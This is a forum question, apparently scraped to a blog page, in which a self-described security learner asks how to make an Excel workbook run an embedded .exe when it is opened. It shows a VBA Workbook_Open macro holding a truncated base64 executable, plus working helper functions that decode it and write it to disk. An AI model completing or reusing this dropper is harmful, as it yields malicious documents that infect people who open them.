excel - how to embed .exe to .xls -
i interested in cyber security , learning how loopholes , backdoor works, trying embed .exe file .xls file, execute opening .xls file.
i convert .exe base64 python script,
then create macro notepad++,
add 2 require functions
the function decodebase64(base64) takes base64 encoded string , converts binary.
the “writebytes(file, bytes)” function takes binary output , writes file.
now problem that:
how call these 2 functions?
i know python, not familiar visual basic, here macro:
private sub workbook_open() dim var1 var1 = "tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" var1 = var1 & "aaaa6aaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1v" var1 = var1 & "zguudq0kjaaaaaaaaadmaqwpoghieqiiynqicgj6zx7jepiiynrnfvx6tahies1+yhrccgj6oghj" ... ... ... end sub private function decodebase64(base64) dim dm, el set dm = createobject("microsoft.xmldom") ' create temporary node base64 data type set el = dm.createelement("tmp") el.datatype = "bin.base64" ' set encoded string, bytes el.text = base64 decodebase64 = el.nodetypedvalue end function private sub writebytes(file, bytes) dim binarystream set binarystream = createobject("adodb.stream") binarystream.type = typebinary 'open stream , write binary data binarystream.open binarystream.write bytes 'save binary data disk binarystream.savetofile file, forwriting end sub is going in right direction, how call these 2 functions execute .exe opening .xls.
Comments
Post a Comment